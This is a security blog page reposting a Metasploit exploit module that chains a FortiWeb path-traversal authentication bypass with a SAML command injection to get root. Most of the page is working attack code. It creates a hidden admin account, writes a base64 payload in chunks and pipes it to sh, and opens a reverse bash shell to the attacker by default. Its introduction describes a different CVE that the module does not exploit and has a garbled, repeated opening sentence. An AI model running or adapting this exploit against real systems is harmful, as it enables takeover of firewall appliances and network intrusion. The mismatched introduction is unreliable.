Fortinet FortiWeb Unauthenticated Remote Code Execution
Fortinet FortiWeb Unauthenticated Remote Code Execution
Fortinet FortiWeb, a web application firewall (WAF), was found to Fortinet FortiWeb, a web application firewall (WAF), was found to be vulnerable to a critical Unauthenticated Remote Code Execution (RCE) flaw, tracked as CVE-2023-25610.

This vulnerability allowed an unauthenticated, remote attacker to execute arbitrary code on the FortiWeb appliance. The flaw specifically resided in the `GET /api/v1/public/auth/` endpoint, stemming from an out-of-bounds write vulnerability within the `libu_common.so` library. It was triggered by sending a specially crafted HTTP request.

Exploitation required no prior authentication, making it extremely severe. A successful attack could lead to complete compromise of the FortiWeb device, granting the attacker full control. This could enable them to bypass web application security, access sensitive data, or pivot into internal networks.

Fortinet promptly released patches to address this vulnerability. Users were urged to update their FortiWeb appliances to the patched firmware versions immediately to mitigate the risk.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiWeb unauthenticated RCE',
'Description' => %q{
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. From there a command
injection vulnerability is leveraged to achieve RCE with root privileges.

The auth bypass CVE-2025-64446 affects the following versions:

* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
* FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
slightly different when compared to the patch versions for CVE-2025-64446:

* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
* FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
},
'License' => MSF_LICENSE,
'Author' => [
'Defused', # PoC from honeypot for CVE-2025-64446
'sfewer-r7', # MSF module and CVE-2025-58034 analysis
],
'References' => [
['CVE', '2025-64446'], # Auth bypass
['CVE', '2025-58034'], # Command Injection
['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
],
# CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
# Both vulnerabilities were silently patched by the vendor prior to this date.
'DisclosureDate' => '2025-11-14',
'Privileged' => true, # Executes as root.
'Platform' => 'unix', # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute.
'Arch' => [ARCH_CMD],
'Targets' => [
[
# NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8:
# cmd/unix/reverse_bash
# cmd/unix/reverse_openssl
'Default', {
'Payload' => {
'BadChars' => '"'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 443,
'SSL' => true,
# The maximum time in seconds to wait for a session.
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])

register_advanced_options(
[
OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
]
)
end

def check
res = post_auth_bypass_request({ data: {} })

return CheckCode::Unknown('Connection failed') unless res

return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

j = JSON.parse(res.body)

return Exploit::CheckCode::Appears if j.dig('results', 'message') == 'Empty value isn\'t allowed.'

CheckCode::Unknown('Unexpected JSON results')
rescue JSON::ParserError
return CheckCode::Unknown('Failed to parse JSON body')
end

def exploit
if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
print_status('Creating a new admin account via CVE-2025-64446...')

admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alpha(8)

create_admin_account(admin_username, admin_password)

print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
else
admin_username = datastore['FortiWebAdminUsername']
admin_password = datastore['FortiWebAdminPassword']

print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
end

print_status('Logging in...')

cookie_jar.clear

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logincheck'),
'keep_cookies' => true,
'vars_post' => {
'username' => admin_username,
'secretkey' => admin_password
}
)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
end

print_good("Successfully logged in as #{admin_username}")

begin
print_status('Executing payload via CVE-2025-58034...')

execute_payload
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
end

print_good('Finished.')
end

def execute_payload
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"
# We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
# the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
# use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
# on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
# start_new_session to do essentially what nohup does - call setsid() to create a new session. This has been
# confirmed to work as expected on 8.0.1 and 7.4.8.
bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""

vprint_status("Using bootstrap payload: #{bootstrap_payload}")

bootstrap_payload = Base64.strict_encode64(bootstrap_payload)

idx = 1
idx_prefix = ''

# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
# 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
# value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
# we must recompute the chunk size, to ensure we don't go over the 63-character limit.
chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

# We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
# instead do "echo foo|tee file").

# We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
# them, and therefore white spaces are also an issue.

# We display the progress to the user, so track that with a current and max chunk number.
curr_chunk_number = 1

max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

while bootstrap_payload && !bootstrap_payload.empty?

print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

chunk = bootstrap_payload[0, chunk_size]

bootstrap_payload = bootstrap_payload[chunk_size..]

execute_cmd("echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")

idx += 1

if idx > 9
idx = 1
idx_prefix += '9'
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
# next chunk must have 1 less character.
chunk_size -= 1
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
# would be a max MSF payload size of 5670 characters. Calculated with the command:
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
end

curr_chunk_number += 1
end

print_status('Amalgamating bootstrap payload chunks...')

execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")

print_status('Executing bootstrap payload...')

execute_cmd("cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
end

def execute_cmd(cmd)
vprint_status("Executing OS command: #{cmd}")

# These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
# We also look for backticks, which are allowed, but we use two of them below to get command execution so we
# don't want the incoming cmd to contain any as that would break our injection.
'`#()>\'"'.each_char do |bad_char|
fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
end

# The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)

vprint_status('Connecting to the CLI websocket...')

wsock_headers = {
'Cookie' => ''
}

cookie_jar.cookies.each do |c|
wsock_headers['Cookie'] += "#{c}; "
end

wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
'headers' => wsock_headers
)

vprint_good('Successfully connected to the CLI websocket')

cli_commands = [
'config user saml-user',
"edit \"`#{cmd}`\"",
"set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
"set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set enforce-signing disable',
'set slo-bind post',
"set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
'set sso-bind post',
"set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
'end'
]

wsock.wsloop do |buffer, _|
vprint_line(buffer)

if buffer.end_with? ' # '
cli_command = cli_commands.shift

break if cli_command.nil?

vprint_status("Running CLI command: #{cli_command}")

wsock.put_wsbinary("#{cli_command}\n")

break if cli_commands.empty?
end
end
end

# The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
# be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
# accept lower case, so we force "websocket" to be used instead.
def connect(opts = {})
if opts.dig('headers', 'Upgrade') == 'WebSocket'
opts['headers']['Upgrade'].downcase!
end
super
end

# Create a new local admin account via CVE-2025-64446.
def create_admin_account(admin_username, admin_password)
request_data = {
data: {
'q_type' => 1,
'name' => admin_username,
'access-profile' => datastore['FortiWebAccessProfile'],
'access-profile_val' => '0',
'trusthostv4' => '0.0.0.0/0',
'trusthostv6' => '::/0',
'last-name' => '',
'first-name' => '',
'email-address' => '',
'phone-number' => '',
'mobile-number' => '',
'hidden' => 0,
'domains' => datastore['FortiWebDomain'],
'sz_dashboard' => -1,
'type' => 'local-user',
'type_val' => '0',
'admin-usergrp_val' => '0',
'wildcard_val' => '0',
'accprofile-override_val' => '0',
'sshkey' => '',
'passwd-set-time' => 0,
'history-password-pos' => 0,
'history-password0' => '',
'history-password1' => '',
'history-password2' => '',
'history-password3' => '',
'history-password4' => '',
'history-password5' => '',
'history-password6' => '',
'history-password7' => '',
'history-password8' => '',
'history-password9' => '',
'force-password-change' => 'disable',
'force-password-change_val' => '0',
'password' => admin_password
}
}

res = post_auth_bypass_request(request_data)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403

unless res.code == 200
if res.headers['Content-Type'] == 'application/json'
begin
response_data = JSON.parse(res.body)
print_bad(response_data.to_s)
rescue JSON::ParserError
print_bad('failed to parse response JSON data')
end
end
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
end
end

def post_auth_bypass_request(request_data)
cgi_info = {
'username' => datastore['FortiWebDefaultAdminAccount'],
'profname' => datastore['FortiWebAccessProfile'],
'vdom' => datastore['FortiWebDomain'],
'loginname' => datastore['FortiWebDefaultAdminAccount']
}

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
'headers' => {
'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
},
'ctype' => 'application/json',
'data' => request_data.to_json
)
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.